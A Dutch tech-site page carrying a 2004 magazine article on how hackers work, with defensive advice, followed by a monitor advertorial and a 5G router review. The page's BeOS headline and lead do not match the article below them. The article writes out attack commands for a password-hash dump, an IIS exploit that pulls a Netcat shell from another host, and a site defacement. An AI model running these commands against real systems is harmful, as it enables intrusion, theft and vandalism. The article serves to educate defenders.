ID.nl logo
Zekerheid & gemak

To be or not to be

De nieuwe BEOS: Yellowtab ZETA Deluxe edition. Voor wie niet verder kijkt is de personal computer synoniem met Windows. Toch zijn er, naast Linux, meer alternatieven voor Windows. BeOS bijvoorbeeld. Maar dat was toch dood? Dat klopt! Maar, het bedrijf yellowTAB is bezig met een reanimatie. Onlangs verscheen hun Zeta RC 2 (release candidate 2). PCM bekijkt of Zeta een waardig alternatief is voor Windows en Linux.

head:Help een Hacker #subject:Software #author:Toon van Daele #year:2004 #issue:5 #page:66 #date:20040413 #lead:Hackers: hoe gaan ze te werk en hoe wapent u zich er tegen. Zo goed als u uw huis beveiligt - ramen dicht wanneer u weggaat, deur op slot, en misschien zelfs wel een alarm - zo slecht is het vaak gesteld met de beveiliging van een pc of netwerk. En digitale inbrekers - hackers - slaan daar direct munt uit. Wij gaan na hoe en hacker te werk gaat, zodat u weet waar u op moet letten. #text:"Het verhaal dat hackers zich voornamelijk op bedrijfsnetwerken richten is helaas niet waar; ze hebben, ze hebben het net zo goed ook op particuliere pc's (zoals de uwe) gemunt - al was het maar om die als platform voor verdere aanvallen in te zetten. Grote bedrijven beschikken echter over veel meer middelen om aanvallen van buitenaf af te slaan. Maar wanneer u weet hoe een hacker denkt en handelt, kunt u hem ook bij u thuis de weg versperren. ***paypalsocen.tif: Social engineering en spam: een verraderlijke combinatie. Verkennen en aanvallen Een hacker die zijn oog heeft laten vallen op een stevig bedrijfsnetwerk zal echt niet lukraak wat inbraakpogingen ondernemen. Niet alleen omdat de kans klein is dat zijn pogingen ergens toe leiden, maar ook omdat hij moet voorkomen dat hij de argwaan van de systeembeheerder wekt. Bovendien is er op het netwerk misschien wel een intrusion detection systeem (ids) ge'nstalleerd, of wordt hij in de val gelokt door een honeypot (opzettelijk slecht beveiligd systeem om hackers te misleiden). Al met al zal hij zich dus grondig voorbereiden. Deze fase noemen we ook wel footprinting: een verkenningsronde waarbij de hacker via allerlei tools en technieken inzicht probeert te krijgen in de samenstelling van het netwerk dat hij wil gaan kraken. Voordat een hacker zijn hele arsenaal aan tools inzet zal hij eerst wat voorwerk verrichten - reconnaissance of passive mapping genoemd. Daarvoor kan hij natuurlijk het gebouw binnenwandelen waarin het te hacken systeem zich bevindt, maar een minder risicovolle methode is social engineering, waarbij je informatie probeert te verzamelen door systeembeheerders en gebruikers belangrijke gegevens als wachtwoorden te ontfutselen. Ook een blik in het telefoonboek kan hem een lijst met mogelijke telefoonnummers opleveren en met wat geluk is één van die nummers verbonden met een modem van het bedrijf. Het zou ook kunnen dat de hacker gebruikt maakt van zogenoemde war dialing tools als het gratis THC Scan of PhoneSweep - hiermee wordt het hele proces van inbellen en controleren op modemrespons geautomatiseerd. Maar heeft war dialing ingeboet aan populariteit - modems worden zeldzamer en zijn vaak beveiligd met authenticatie-technieken en call back-functies - daarentegen is war driving springlevend. Hierbij rijden hackers in bedrijfszones rond, gewapend met een notebook, draadloze adapter en de nodige software (zoals NetStumbler). Wlan's die niet goed zijn afgeschermd vormen daarbij een dankbare prooi. Hebt u zelf zo'n wlan, dan moet u minstens wep - of beter nog: wpa - en eventueel mac-filtering inschakelen, en de ssid broadcast uitschakelen. Nog veiliger natuurlijk is een geauthenticeerde toegang, zoals ipsec vpn over wireless. ***combatuxn.tif & whoispcm.tif & nslookup.tif: Whois en dns-queries kunnen bruikbare informatie opleveren. ***synack.tif: TCP protocol: Eerst handje schudden! Whois en dns Minder spectaculair, maar vaak doeltreffend zijn de verkenningsrondes die een hacker via internet uitvoert. Hij begint uiteraard met het uitpluizen van de bewuste bedrijfssite (immers, misschien vindt hij hier wel waardevolle informatie in verborgen velden van online formulieren) en het opsporen van gegevens over het bedrijf via zoekrobots als Google (vergeet ook de nieuwsgroep-postings niet). Behalve de bedrijfssite kan ook een domain query interessante informatie opleveren. Zo'n query, die typisch wordt uitgevoerd met een tool als Whois, vertelt namelijk niet alleen wie de domeinnaam heeft geregistreerd, maar toont vaak ook de gegevens van de administratieve en technische contacten, evenals de dns-servers voor dat domein. Dns is een gedistribueerde databank die hostnamen linkt aan ip-adressen, en omgekeerd. Een whois-commando zit doorgaans in Linux/Unix ingebouwd, maar Windows-gebruikers kunnen daarvoor ook op internet terecht. Voor Europese queries kan de hacker de Whois-databank van Ripe raadplegen (www.ripe.net/db/whois/whois.html), terwijl hij voor meer generieke domeinnamen (com, org, net) terecht kan bij www.internic.net/whois.html. Bruikbare adressen zijn verder http://combat.uxn.com, de Whois-proxy www.geektools.com en niet te vergeten www.samspade.org. In principe is bij deze laatste twee ook een dns-query mogelijk via NSLookup, maar deze services blijken de laatste tijd niet langer functioneel. Een alternatief vormen de specifieke tools voor dns-queries (waaronder Dig en Nslookup) die u zowel in een Unix- als Windows-omgeving kunt inzetten. Op zich levert zo'n query weinig verheffende informatie op, maar bedrijven draaien ook wel hun eigen dns-servers en configureren die vaak verkeerd. Daardoor gebeurt het soms dat een zogenaamde zone transfer niet alleen publieke maar ook private dns-gegevens van het bedrijf kan onthullen. Zo krijgt de kraker waardevolle informatie over locaties van systemen, ip-adressen en zelfs besturingssystemen. Het minste wat zo'n bedrijf zou moeten doen is externe dns-servers alleen informatie laten bezorgen over systemen die rechtstreeks met internet zijn verbonden en eventueel alle tcp-verkeer naar poort 53 op de firewall blokkeren, wat zone transfers uitsluit. ***ping.tif & pathping.tif: Icmp-tools Ping, Traceroute en Pathping: bruikbaar, maar beperkt. ***superscan.tif & superscanports.tif: Multifunctionele scanner met gui. ***nmapsso.tif: Nmap: Professionele poortscanner. network mapping Wanneer de eerste verkenningsronde is afgerond, heeft een hacker al flink wat gegevens verzameld (namen adressen, telefoonnummers), maar hij weet nog altijd niet hoe bereikbaar de systemen zijn en welke services ze eventueel draaien. Om dit te weten te komen kan hij een aantal bekende tools inzetten die zogenoemde icmp-pakketjes naar het doelsysteem sturen. Icmp staat voor Internet Control Messaging Protocol, en is ontworpen om communicatiefouten tussen hosts te rapporteren. Een bekende tool is ping (Packet InterNet Groper), waarmee je icmp echo-verzoeken naar de ontvanger kunt sturen om na te gaan of de host actief is. Is de reactie inderdaad een echo-reply, dan weet je meteen dat het systeem in de lucht is. Krijg je time-outs dan kan de host down zijn, of is die mogelijk beschermd door een firewall. Dit laatste is te controleren met een netwerksniffer als Ethereal (www.ethereal.org) die de icmp-pakketjes analyseert. Een (aanvullende) variant hierop is het commando Traceroute (op Windows-systemen: tracert). Ook deze verstuurt icmp-pakketjes, maar zorgt daarbij dat de ttl-waarde (time to live) stelselmatig met 1 wordt verhoogd. Op die manier bereikt de hacker in een eerste fase normaal de eerste tussenliggende router (die de ttl met 1 vermindert), in een tweede fase de tweede, en zo verder totdat de tool de complete route tot aan de host heeft blootgelegd. Een combinatie van beide tools vormt Pathping (alleen op Windows XP en 2000): dat het eventuele pakketverlies voor elke routerhop berekent. Hoe beperkt de tools zijn wordt duidelijk wanneer je een volledig netwerkbereik zou wil aftasten. In dat geval ben je beter af met een zogenaamde scanner: die doorzoekt in één keer een ip-adressenbereik op actieve systemen en services. Een gebruiksvriendelijke en populaire scanner voor Windows is het gratis SuperScan (www.foundstone.com/resources/scanning.htm). Daarmee kan een hacker overigens heel wat meer dan ping-scans versturen. SuperScan is namelijk ook een krachtige poortscanner. De tool probeert met de verschillende (tcp- en udp-)poorten een verbinding te leggen, gaat na welke poorten open staan en probeert meteen ook eventuele meldingen af te vangen van services die op die poorten luisteren (banner grabbing). Nog bekender (vooral ook in Unix/Linux-omgevingen) is Nmap dat zich vanuit de opdrachtregel laat bedienen. De opdracht nmap -n -sS -O -P0 212.190.88.64-95 kan bijvoorbeeld als volgt worden ontrafeld: - n: voer géén dns-resolutie uit (omzettingen naar een domeinnaam werken vertragend); - sS: doe (alleen) een tcp syn stealth poortscan (maakt geen volledige verbinding met de doelsystemen, zodat de kans op detectie van deze scan kleiner is); - O: doe een tcp/ip-fingerprinting om het remote besturingssysteem te weten te komen (besturingssystemen reageren namelijk vaak anders als ze 'onorthodoxe' pakketjes ontvangen) - de Linux-tool Queso is ook heel sterk in OS-detectie; - P0: voer geen pings uit (sommige hosts schermen zich daar namelijk tegen af); - 212.190.88.64-95 (het te scannen bereik van de hosts). Meer weten over tcp en ip? Lees het kader 'Tcp/ip in een notedop' op pagina XX. ***nessusreport.tif & nessusreportgr.tif: Een (héél klein) brokje uit het Nessus-verslag. Zwakke plekken Sommige scanners gaan nog een stap verder en sporen niet alleen open poorten en actieve services op, maar koppelen er meteen ook een databank met mogelijke exploits aan vast. Een exploit is niets anders dan een techniek om een bepaald veiligheidslek uit te buiten. Zo'n 'vulnerability scanner' toont dus de zwakke plekken van de doelhost, wat de hacker meteen een flinke stap in de 'goede' richting geeft. De recente versies van de betere scanners spuwen na een - vaak langdurige - analyse gretig gedetailleerde rapporten uit (inclusief de nodige links), zodat een hacker meteen aan de slag kan. De bekendste scanners uit de freewarestal zijn Sara (Security Auditor's Research Assistant - www-arc.com/sara) voor Unix-omgevingen, en Nessus (www.nessus.org) dat intussen ook in een Windows-versie is opgedoken. De hacker die de moeite neemt om zich nasl (de ingebouwde scriptingtaal van Nessus) eigen te maken, kan zelfs eigen tests schrijven om snel bepaalde kwetsbaarheden op een doelhost aan te vallen. U begrijpt dat dergelijke tools in handen van onervaren en weinig scrupuleuze hackers (of crackers) gevaarlijk kunnen zijn, zeker als u weet dat Nessus bijvoorbeeld ook DoS-tools heeft ingebouwd. Een systeembeheerder moet zich tegen al dit scannergeweld natuurlijk goed indekken. OS-hardening is alvast de eerste stap. Hierbij worden alle overbodige tools en services verwijderd die het een hacker makkelijker kunnen maken. Het spreekt vanzelf dat de systeembeheerder zijn systeem nauwgezet patcht en regelmatig de systeemlogs nakijkt op mogelijke ongeregeldheden. De implementatie - en vooral ook een correcte configuratie - van een goede firewall is een absolute noodzaak. Verder moet hij zoveel mogelijk het in- en uitgaande icmp-verkeer beperken, zodat de hacker moeilijker kan ontdekken welke hosts live zijn. ***pwdump2cain.tif: Windows XP login-wachtwoord gekraakt in twee minuten. ***subseven.tif: SubSeven: gouwe ouwe onder de Trojanen en backdoors. Exploits Heeft een Hacker eenmaal genoeg kennis over het systeem verzameld, dan kan hij overgaan tot de eigenlijke aanval: exploiting. Het wordt natuurlijk helemaal een feest wanneer hij een voet tussen de deur kan houden - dus als hij het systeem zo weet te configureren dat hij op elk gewenst moment opnieuw toegang tot het systeem kan krijgen. Vanzelfsprekend kan dat alleen als hij zijn sporen (in de logs) grondig wist en de systeembeheerder zo in de waan laat dat zíjn systeem niet te hacken is. Er zijn drie typen exploits mogelijk, afhankelijk van de aard van de bedreiging: de null session attack, het aantasten van de gegevensintegriteit en de Ddos-aanval. Null session attack Een null session attack is vooral gevaarlijk voor niet-gepatchte Windows NT-systemen. In zo'n geval kan een hacker op afstand op een server inloggen zonder dat hij daarvoor een gebruikersnaam of wachtwoord nodig heeft. Op die manier krijgt hij toegang tot gedeelde bronnen en kan hij bijvoorbeeld ook netbios-informatie over het apparaat opvragen. Zo'n aanval zit overigens eenvoudig in elkaar: de hacker legt eerst een anonieme remote verbinding via de opdracht net use \\hostip\ipc$ “” /u: “”, waarna hij via het enum-commando allerlei nuttige informatie over het systeem kan opvragen. gegevensintegriteit Ten tweede zijn er exploits die het op de integriteit van de gegevens gemunt hebben: hackers krijgen dan niet alleen leestoegang, ze kunnen informatie ook wissen of aanpassen. Typische exploits hier zijn ip spoofing - waarbij de hacker zijn eigen ip-adres wijzigt in het adres van een computer die met de doelhost een vertrouwensrelatie heeft, en het kraken van wachtwoorden zodat de hacker als een reguliere gebruiker (of als root) kan inloggen. Daar bestaan heel wat gratis tools voor. Met het duo Pwdump2 en Cain kun je bijvoorbeeld wachtwoordhashes van Windows NT (en XP) kraken. Eerst maak je daarvan een tekstdump via een opdracht als pwdump2 > dump.txt, waarna Cain de ge'mporteerde hashes probeert te kraken via brute force en/of dictionary attacks. Bij een aanval van het tweede type gaat een kraker eerst na of het wachtwoord zich toevallig niet in een woordenlijst bevindt (genre: www.elcomsoft.com/prs.html#dict); zoniet, dan probeert de tool stelselmatig alle mogelijke tekencombinaties uit. Dit verloopt weliswaar met een snelheid van ettelijke miljoenen combinaties per seconde, maar aan een hoofdlettergevoelig wachtwoord (inclusief cijfers) van acht tekens zit de kraker wel met ongeveer 220 biljoen ((26+26+10)8) mogelijke combinaties. Niettemin wist Cain ons XP-wachtwoord van zes letters binnen twee minuten te kraken. Andere exploits maken dankbaar gebruik van zogenaamde buffer overflows. Een buffer is een tijdelijke en beperkte geheugenopslagruimte voor een bepaald programma(onderdeel). Wanneer zo'n programma méér gegevens ontvangt, dan in die bufferruimte is voorzien, treedt er een overflow op. De extra gegevens komen dan in een niet afgeschermde geheugenruimte terecht en als die data een opdracht bevatten, kan die worden uitgevoerd. Een bekend voorbeeld van dit type is de Unicode exploit, die er via zo'n buffer overflow in iis (Internet Information Server) voor zorgt dat de hacker uit de webroot raakt en ook toegang krijgt tot andere systeemmappen, van waaruit hij dan allerlei opdrachten (zoals cmd.exe) kan uitvoeren. Denial of service Een derde exploittype ten slotte brengt de beschikbaarheid van gegevens in gevaar, en (D)dos-aanvallen (distributed denial of service) passen uiteraard perfect in dit plaatje. Dergelijke aanvallen worden vaak vanaf nietsvermoedende internet-pc's - zoals die van u? - gelanceerd, met de bedoeling een bepaalde server met zoveel verzoeken te bestoken, dat die niet meer normaal kan functioneren. Zo'n ddos-aanval vereist een grondige voorbereiding, gewoonlijk door eerst heimelijk een Trojaans paard op duizenden pc's te installeren. Deze indringer tovert al die pc's dan om in zogenaamde zombies: toestellen die allemaal tegelijk tot actie overgaan op het commando van hun meester. Een besmette bijlage bij een e-mailbericht (denk aan het beruchte Melissa-virus) is vaak de drager van zo'n trojan. Wilt u zich hiertegen beschermen, dan kunt u niet buiten een goed én up-to-date anti-viruspakket! ***tesoiisc.tif (x) & msadc2pl.tif (y) & wwwrootcrack.tif (z): Niet storen a.u.b. Exploit in werking! Rampenscenario In sneltempo verloopt een (gecombineerde) exploit als volgt: 1. Om zijn anonimiteit te waarborgen start een hacker eerst een beveiligde telnetsessie op (via ssh) naar een derde toestel, waarop hij al root access verkregen heeft. 2. Met behulp van nmap -O merkt hij dat onder meer poort 80 open staat op de doelhost. 3. Vervolgens maakt hij gebruik van (een licht aangepaste versie van) de exploit tesoiis.c, die een buffer overflow veroorzaakt in iis (meer bepaald in inetinfo.exe, de service die http-verzoeken afhandelt). Met deze exploit stuurt hij een trojan mee, en in dit geval is dat de bekende Netcat (meer bepaald ncx99.exe, dat ervoor zal zorgen dat de command prompt aan poort 99 wordt gebonden). Het volgende commando zorgt daarvoor: tesoiis www.doelhost.com 80 ip-adres/ncx99.exe. (figuur x) 4. Nu is het de beurt aan een andere exploit (msadc2.pl), zodat hij op elk geschikt moment de ingeplante trojan kan uitvoeren. Deze exploit misbruikt namelijk de odbc data-toegang voor iis-servers, zodat hij ook andere commando's dan de gebruikelijke sql-queries kan uitvoeren. Dat doet hij met de opdracht: perl msadc2.pl -h ip-adres. 5. Nu hoeft hij alleen de opdracht cmd /c ncx99.exe uit te voeren, en de trojan is operationeel (zie figuur y). Het volstaat nu een telnet-sessie te initialiseren via poort 99 (telnet ip-adres 99) en het apparaat is in zijn handen. 6. Is de hacker al tevreden met een verminking (defacement) van de website, dan volstaat een opdracht als echo Cracked by xyz > index.html, vanuit de map \inetpub\wwwroot (zie figuur z). Met wat geluk - althans voor de hacker - draait inetinfo.exe echter al onder het administrator-profiel, zodat hij meteen over beheerdersrechten beschikt. In dit geval is hij echt heer en meester. Conclusie Vrijwel alle tools die we hebben vermeld, kunt u via een zoekrobot als Google probleemloos lokaliseren op internet en niemand houdt u tegen om ze ook te downloaden. Denk echter niet dat u, gewapend met deze tools, zomaar in netwerken kunt binnendringen. Buiten het feit dat dit illegaal is, is het nog niet zo eenvoudig om bijvoorbeeld de beveiliging van firewalls te omzeilen. Bovendien maken systeembeheerders die alle beveiligingstips uit dit artikel ter harte nemen, het de hacker nóg een stuk lastiger. *** Kader Disclaimer Hacken is illegaal! Wilt u zelf aan de slag met de tools en technieken uit dit artikel, dan neemt u daarvoor de volledige verantwoordelijkheid op u. We raden u hoe dan ook aan uw experimenten tot uw eigen pc of netwerkje te beperken. *** Kader Hackers, crackers en script kiddies Het stereotype van dé hacker bestaat niet, want ook in deze subcultuur hebben zich intussen verschillende groepen afgetekend. De echte hacker (white hat) voelt zich geen crimineel. Hij beroept zich namelijk op een ethische code die hem verbiedt enige schade aan de computersystemen van anderen aan te richten. Hij pleit er tevens voor nuttige kennis openbaar te maken, zodat ook computerbeheerders er hun lessen uit kunnen trekken en de beveiliging opschroeven. De black hat of cracker daarentegen heeft weinig boodschap aan dit 'ethisch hacken': zij dringen andermans systeem binnen, alleen voor het plezier van het beschadigen of zelfs in de hoop er munt uit te kunnen slaan. Grey hats voelen zich nauw verwant aan de ethische hackers, maar jammer genoeg springen ze al te vaak nonchalant om met delicate informatie, zodat die niet zelden door black hats misbruikt wordt. Aan de zijkant van het hele verhaal ten slotte bevinden zich nog de script kiddies: would-be hackers die het niet van eigen kennis moeten hebben, maar dankbaar gebruik maken van scripts en exploits die (echte) hackers op eigen kracht hebben samengesteld. Ze staan allesbehalve hoog aangeschreven in de hackersscene, maar zijn jammer genoeg wel talrijk. Wie zich alvast weinig gelegen laat aan deze subgroepen, is de overheid! Zo goed als elke vorm van hacken is namelijk verboden, en daar bestaat intussen zowel nationaal als Europees een sluitende juridische basis voor. Kortom, hacken is strafbaar, en de kleur van uw hoedje houdt u echt niet buiten de tralies. *** Kader Tcp/ip in een notedop U kunt zich voorstellen dat er heel wat afspraken nodig zijn om computers via een netwerk als internet met elkaar te laten communiceren. Ze moeten als het ware elkaars taal begrijpen. Zo'n taal noemt men een protocol, maar juist omdat er zoveel manieren van communiceren zijn, zijn er verschillende protocollen nodig (e-mail: smtp en pop3, bestandstransfer: ftp, surfen: http, etc.). De belangrijkste echter zijn tcp (transmission control protocol) en ip (internet protocol), zo belangrijk zelfs dat men dit duo als het basisprotocol van internet beschouwt. Een ander protocol bijvoorbeeld is udp (user datagram protocol). Het grote verschil met tcp is dat er bij udp nauwelijks een controle is ingebouwd op de goede ontvangst van de datapakketjes; bij videobeelden bijvoorbeeld is het niet zo erg als er onderweg een bitje verloren gaat. Tcp tracht wat betrouwbaarder te zijn en zal daarom al bij het begin een bevestiging van de connectie tussen beide hosts proberen te krijgen. Dat gebeurt aan de hand van een driedelige 'handshake', waarbij client en server een vast patroon van bitjes naar elkaar sturen - meer bepaald syn-bits (synchronisatiestatus) en ack-bits (acknowledgement). Maar ook tijdens de datastroom die daarop volgt, houden zender en ontvanger elkaar nauwlettend in de gaten om dataverlies te voorkomen. Daartoe maken beide hosts in elk pakketje slim gebruik van volg- en bevestigingsnummers die aangeven hoeveel en welke bytes uit de datastroom er al verstuurd en ontvangen zijn. Elk datapakketje bevat bovendien een poortnummer, zodat de doelhost weet voor welke service het pakketje is bestemd. Een host kan namelijk verschillende services tegelijk draaien (webserver, ftp-server, mailserver) en het poortnummer duidt de bewuste service aan. Deze poortnummers zijn voor bekende services overigens gestandaardiseerd: zo zal een webserver zijn oor normaal gesproken op poort 80 te luisteren leggen, en verloopt een https/ssl-verbinding gewoonlijk via poort 443. Voor wie het wil weten: een computer bevat maar liefst 65535 van dergelijke logische poorten. Op www.iss.net/security_center/advice/Exploits/Ports kunt een overzicht van de belangrijkste poorten opvragen, inclusief exploits. ***Kader Op Het Web 12 praktische tips voor het beveiligen van draadloze netwerken. "

▼ Volgende artikel
Lenovo Legion R27qe gaming monitor - Razendsnel beeldscherm
© gorodenkoff
Huis

Lenovo Legion R27qe gaming monitor - Razendsnel beeldscherm

Wie een lekker potje wil gamen, doet er goed aan om een goede gaming monitor aan te schaffen. Dat zorgt er niet alleen voor dat je game er nog beter uitziet, je eigen prestaties gaan er ook van omhoog. De Lenovo Legion R27qe is een 27 inch beeldscherm met een hoge verversingssnelheid en een QHD-paneel. Hier lees je alles over de monitor.

Partnerbijdrage - In samenwerking met Lenovo

27 inch QHD

De Lenovo Legion R27qe heeft een diameter van 27 inch, oftewel een kleine 70 centimeter. Daarmee is het een relatief compact beeldscherm, maar nog steeds ruim voldoende groot om alle details goed te kunnen zien.

Het IPS-paneel zelf heeft een resolutie van 2560 x 1440 pixels, waarmee het een QHD-scherm is. Zo kun je games spelen op hoge kwaliteit, en zie je nog meer van wat er op je scherm gebeurt.

180 Hz verversingssnelheid

De verversingssnelheid of refresh rate is bij elk beeldscherm belangrijk, maar bij een gaming monitor is dat helemáál het geval – je wilt natuurlijk precies kunnen zien wat er binnen je game gebeurt. Bij de Legion R27qe is die snelheid maar liefst 180 Hz, oftewel: 180 verversingen per seconde. Dat is beduidend hoger dan bij veel andere gaming monitoren.

Met die hoge refresh rate lijkt het alsof je zelf midden in de actie zit, omdat alles veel vloeiender verloopt. Bovendien heb je een voordeeltje ten opzichte van je tegenstanders, omdat ook elk detail op je scherm net iets sneller ververst.

©Dragos Condrea

0,5 ms reactietijd

Niet alleen de refresh rate is een belangrijke factor bij gaming monitoren, ook de reactietijd speelt een rol. De reactietijd is de tijd die het duurt voor het scherm heeft gereageerd op bewegingen.

Voor veel gaming monitoren ligt die reactietijd rond de één à twee milliseconden. Bij de Legion R27qe is dat slechts een halve milliseconde: net even sneller dus, wat je ook weer een voordeel oplevert als je gaat gamen.

Daarbij beschikt de Legion R27qe over AMD Freesync. Dat is een techniek die ervoor zorgt dat screen tearing, het fenomeen waarbij het lijkt alsof er iemand met een schaar door je scherm is gegaan, tot het verleden behoort. Veel populaire gaming monitoren gebruiken die techniek, en de R27qe is daar geen uitzondering op.

450 nits helderheid

Een ander belangrijk punt om rekening mee te houden bij het kopen van een gamingbeeldscherm is de helderheid. Dat zorgt ervoor dat je details nog beter kunt zien, ook als je zelf in een goed verlichte ruimte zit en het beeld op het scherm juist donker is.

Gemiddelde beeldschermen hebben een helderheid van zo'n 300 nits, de eenheid die wordt gebruikt om de felheid van verlichting aan te geven. Bij de Legion R27qe is dat maar liefst 450 nits, genoeg om te kunnen blijven gamen, zelfs als de zon vol op het scherm gericht staat.

Verstelbare hoogte

Een nadeel van veel gaming monitoren is dat de voet niet in hoogte verstelbaar is, zodat je altijd afhankelijk bent van de vaste positie. Bij de R27qe is dat niet het geval: je kunt het scherm in alle hoeken draaien en keren.

Dat geldt zowel voor de hoogte als voor de positie. Het scherm is los van de voet te draaien, zelfs volledig verticaal, en te kantelen, zodat je altijd de perfecte hoek hebt.

Felle kleuren en diepe schaduwen

Ook qua kleurweergave is de R27qe een goede keuze. Het scherm kan overweg met meer dan een miljard kleuren, zodat je altijd een waarheidsgetrouw beeld voor je neus krijgt. Bovendien beschikt het beeldscherm over speciale technologieën die het licht en de schaduwen nog realistischer maken.

©RyanKing999

Low blue light

Blauw licht is funest als je lange tijd naar je beeldscherm wilt of moet staren: het zorgt ervoor dat je ogen sneller vermoeid raken, en je komt achteraf moeilijker in slaap. Toch zenden veel monitoren een behoorlijk fel blauw licht uit, omdat dat makkelijker af te lezen is.

De Lenovo Legion R27qe doet dat niet. Via de Low Blue Light technologie wordt het blauwe licht zoveel mogelijk gedempt, zodat je minder last krijgt van je ogen en langer door kunt gamen of werken.

Conclusie

Wie op zoek is naar een goede gaming monitor, moet zeker de Lenovo Legion R27qe overwegen. Het scherm geeft kleuren, licht en schaduwen zeer realistisch weer. Met de hoge verversingssnelheid en de lage reactietijd heb je altijd een voordeel ten opzichte van je tegenstanders.

De hoogte en de hoek van de monitor zijn makkelijk aan te passen, zodat je altijd recht voor het scherm zit. De Low Light technologie zorgt ervoor dat je minder last krijgt van je ogen, en 's avonds na je gamesessie makkelijker in slaap kunt komen.

Al met al is de Lenovo Legion R27qe een compacte, maar uitgebreide gaming monitor, waarmee je de nieuwste games in QHD-resolutie en zeer waarheidsgetrouw op het scherm tovert.

Ontdek de Lenovo Legion R27qe gaming monitor

op Kieskeurig.nl

▼ Volgende artikel
Review Odido Klik&Klaar - De voor- en nadelen van 5G voor thuis
© Rens Blom
Huis

Review Odido Klik&Klaar - De voor- en nadelen van 5G voor thuis

Odido schudt de markt van vast internet voor thuis op met Klik&Klaar, een dienst van 25 euro per maand die 5G-signaal omzet naar wifi voor al je apparaten. Klik&Klaar is zo een alternatief voor internet via de kabel of glasvezel, en waarschijnlijk ook goedkoper dan wat je nu betaalt voor bekabeld internet. Wij hebben Klik&Klaar een maand getest in een appartement en delen de plus- en minpunten van de dienst met je.

Goed
Conclusie

Odido Klik&Klaar is kinderlijk eenvoudig te installeren, is – afhankelijk van je locatie – razendsnel en werkt over het algemeen goed. De verbindingsproblemen tijdens slecht weer zijn ons wel tegengevallen. Dit is voor ons reden om te blijven bij de stabielere vaste internetaansluiting in onze woning. Klik&Klaar lijkt ons wel ideaal voor een campingstandplaats, vakantiehuisje of andere plek zonder (betaalbare) vaste internetaansluiting.

Plus- en minpunten
  • Betaalbaar internet thuis
  • Maakt beloofde snelheid ruimschoots waar
  • Gebruiksvriendelijke installatie
  • Instabiel internet bij slecht weer
  • Problemen met wifirepeaters

De eerste plus is de prijs. Met 25 euro per maand is Klik&Klaar lekker betaalbaar. Heb je al een geselecteerd mobiel abonnement van Odido, dan betaal je slechts 20 euro per maand voor Klik&Klaar. De dienst is maandelijks opzegbaar, waardoor je lekker flexibel bent.

Het bestellen via de Odido-website is eenvoudig en we ontvingen het pakket na twee werkdagen thuis, in ons appartement in Castricum. In de doos vind je een Zyxel 5G-modem en een 5G-simkaart, die je in de router stopt om internet te ontvangen. Het blijft fascinerend hoe je al je apparaten van wifi kunt voorzien dankzij een simkaartje ter grootte van je nagel.

©Rens Blom

Het simkaartje dat je bij de router krijgt.

Installatie

Om Klik&Klaar te installeren, download je de gratis Klik&Klaar-app op je iPhone of Android-smartphone. Die loodst je binnen het beloofde kwartiertje door de installatie heen. De app laat duidelijk zien waar je de router het beste kunt neerzetten. Neem die instructies serieus, want weggestopt in een hoek ontvangt de router geen goed internetsignaal en heb je dus ook weinig aan de dienst. Na de eenvoudige installatie geef je je wifinetwerk een naam en verbind je je apparaten. Vervolgens zijn je smartphone, computer, tablet, smart-tv en andere gadgets online. Je hebt onbeperkt internet op de hoogst mogelijke snelheid, zoals je gewend bent van internet voor thuis.

©Rens Blom

De installatie van Klik&Klaar is eenvoudig.

Ervaringen

Na ruim een maand gebruik zijn we over het algemeen erg tevreden over Odido Klik&Klaar, maar sturen we de router toch terug. Dat ligt niet aan de internetsnelheden. Odido belooft via deze dekkingskaart dat de router op ons adres een snelheid van 300 Mbit/s of meer biedt en dat klopt. In de woonkamer – waar de router voor het raam staat – halen we tussen de 300 en 600 Mbps download en 70 tot 200 Mbps upload. Dat zijn uitstekende snelheden. In andere kamers, verder weg van de router, halen we nog steeds meer dan 100/50 Mbps. Netjes.

Ons probleem met Odido Klik&Klaar is de betrouwbaarheid. Niet alleen viel de router in een maand twee keer uit (om na een herstart weer te functioneren), tijdens flinke regenbuien en een najaarsstorm had de router grote moeite om een stabiel thuisnetwerk te bieden. Dipjes in het wifisignaal verstoorden onze videobelvergaderingen, onderbraken de muziek uit de Sonos-speakers en lieten onze telefoons af en toe automatisch overschakelen naar het mobiele netwerk. Ongemakken die we tijdens slecht weer niet ervaren via een vaste internetverbinding, en ongemakken waar we niet op zitten te wachten in het gure Nederland.

©Rens Blom

De Klik&Klaar-router uit de doos.

Goed om te weten: de router heeft twee 2,5Gbit/s-ethernetpoorten om apparaten bekabeld aan te sluiten. Wij hebben de smart-tv rechtstreeks aangesloten en de andere poort verbonden met een switch. De smart-tv heeft tijdens het kijken van Videoland, YouTube en NPO Plus nooit problemen met zijn internetverbinding gehad, ook niet tijdens slecht weer.  

Wifirepeaters

Voor een volledige test hebben we ook twee wifirepeaters van Odido Klik&Klaar besteld. Die heten Wifipunten, zijn optioneel en kosten 2,50 euro per stuk per maand. Je huurt ze en moet ze als ze niet bevallen of bij het stoppen van Klik&Klaar dus terugsturen.

©Rens Blom

©Rens Blom

De installatie van de Wifipunten.

Onze ervaringen met de kleine repeaters, die je neerzet in de vensterbank of op je bureau, zijn gemengd. Enerzijds verbeteren ze het wifisignaal in ons appartement duidelijk. Op onze werkplek, een vide boven de keuken/woonkamer en net buiten de directe zichtlijn van de router in de woonkamer, haalden we via router een downloadsnelheid van 270 Mbps en een uploadsnelheid van 120 Mbps. Na het installeren van een wifirepeater op de wifi, met bijna een zichtlijn op de router, schoot de downloadsnelheid omhoog naar 425 tot 616 Mbps – op basis van vier tests verspreid over een uur. De uploadsnelheid bedroeg bij deze tests 107 tot 110 Mbps en verbeterde dus niet ten opzichte van de oude situatie.

©Rens Blom

Een snelheidstest na het koppelen van een wifirepeater.

Een Wifipunt-wifirepeater heeft twee 2,5Gbit/s-lanpoorten om apparatuur bekabeld aan te sluiten. Onze computer op de werkplek tikte bekabeld op de repeater vrijwel dezelfde snelheden aan als via de wifi.

©Rens Blom

De wifirepeater is handzaam en daarom op veel plekken neer te zetten.

Opmerkelijk is dat heel wat van onze apparaten in de war raakten van de Wifipunten. Smartphones, laptops en tablets leken soms niet meer te weten met welk wifipunt (router, wifipunt één of wifipunt twee) ze het beste konden verbinden, wat leidde tot verbindingsproblemen. Dat terwijl we de repeaters geïnstalleerd hebben volgens de instructies van deKlik&Klaar-app, die in de weken erna steevast aangaf dat ons wifinetwerk er keurig uitzag. Na het verwijderen van de Wifipunten waren de verbindingsproblemen ook opgelost.

©Rens Blom

Conclusie

